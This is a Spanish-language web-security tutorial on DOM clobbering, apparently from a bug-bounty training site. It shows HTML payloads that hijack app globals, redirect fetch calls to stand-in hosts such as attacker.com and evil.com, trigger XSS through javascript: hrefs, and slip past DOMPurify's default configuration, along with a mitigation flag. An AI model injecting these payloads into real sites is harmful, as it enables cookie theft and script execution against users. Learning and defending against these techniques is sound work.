Respuesta rápida
DOM clobbering aprovecha que HTML elements con id o name se exponen automáticamente como propiedades de document y window. Si una app lee window.config.apiBase o document.foo.bar esperando un objeto JS, el atacante puede inyectar <form id="config"><input name="apiBase" value="https://evil.com"> y el access via property lookup retorna el HTMLElement como si fuera el objeto esperado. Permite bypass de sanitizers (DOMPurify default permite name/id atributos) y HTML-only injection que escala a JS execution.
El mecanismo base
HTML5 spec declara que para compatibilidad con código legacy, los elements con id o name se exponen en el global scope:
<div id="myVar"></div>
console.log(window.myVar); // HTMLDivElement
console.log(myVar); // Same, sin prefijo window
Si dos elements tienen el mismo id, JS devuelve una HTMLCollection:
<a id="link"></a>
<a id="link"></a>
window.link; // HTMLCollection [a, a]
Y dentro de un <form>, los <input name="foo"> se exponen como propiedades del form:
<form id="config">
<input name="apiBase" value="https://attacker.com">
</form>
window.config.apiBase; // HTMLInputElement
window.config.apiBase.value; // "https://attacker.com"
Cuando la app coercionа esto a string (concat, template literal, fetch), el browser llama toString() que devuelve el atributo value para <input> o el href para <a>.
Patrón vulnerable básico
// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
fetch(window.config.apiBase + '/data');
}
Si el atacante puede inyectar solo HTML (no <script>), no necesitaría JS execution. Solo:
<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>
window.config resuelve a HTMLCollection con dos <a>. Property access .apiBase busca por name → segundo <a>. Coerce a string → href. Resultado: la app hace fetch('https://attacker.com//data') con las cookies del user.
Elements clobbeables — tabla de referencia
| Element | toString() devuelve | Property exposure |
|---|---|---|
<a id="x" href="URL"> | URL del href | window.x |
<area id="x" href="URL"> | URL del href | window.x |
<form id="x"><input name="y"> | [object HTMLFormElement] | window.x.y = input element |
<iframe id="x" src="URL"> | URL del src | window.x (objeto Window del iframe) |
<img id="x" src="URL"> | URL del src | window.x |
<object id="x" data="URL"> | URL del data | window.x |
<embed id="x" src="URL"> | URL del src | window.x |
<base href="URL"> | n/a | Cambia base URL relative |
Anchor tag — el clobber más versátil
<a> permite que su toString() devuelva el href:
<a id="x" href="https://attacker.com"></a>
String(window.x); // "https://attacker.com"
window.x + ''; // "https://attacker.com"
`${window.x}`; // "https://attacker.com"
Cualquier sink que concatene o use template literal con window.x ahora redirige a attacker.com.
Variantes útiles
<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>
Si la app hace location = window.redirect, dispara XSS (el sink "blando" location acepta javascript:).
<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
<input name="theme" value="dark">
<input name="apiUrl" value="https://evil.com">
<input name="onError" value="ATTACKER_FUNC">
</form>
Si la app lee window.settings.theme, .apiUrl, .onError → todos clobbered.
Sanitizer bypass — DOMPurify default config
DOMPurify por defecto permite atributos id y name porque son atributos legítimos de HTML (no son handlers ejecutables). Sin <script> o handlers, la sanitización no detecta nada peligroso. Pero los elements quedan vivos en el DOM y disponibles para clobber:
const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.
document.body.innerHTML = clean;
// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase; // → javascript:alert(1)
Mitigación correcta
DOMPurify tiene configuración SANITIZE_DOM: true (default) y SANITIZE_NAMED_PROPS: true (no default hasta v3.x). Activar:
DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });
Esto prefixa los id/name con user-content- evitando que colisionen con globals. Pero la mayoría de apps NO activa este flag porque no lo conocen.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Dom Clobbering
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Stored XSS €1200 — bypass de sanitizer via SVG href javascript: con entity encoding
Walkthrough de un report real €1200: stored XSS en POE bypassando sanitizer fix mediante SVG con href=`javascript:` y HTML entity encoding sobre los caracteres filtrados.
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.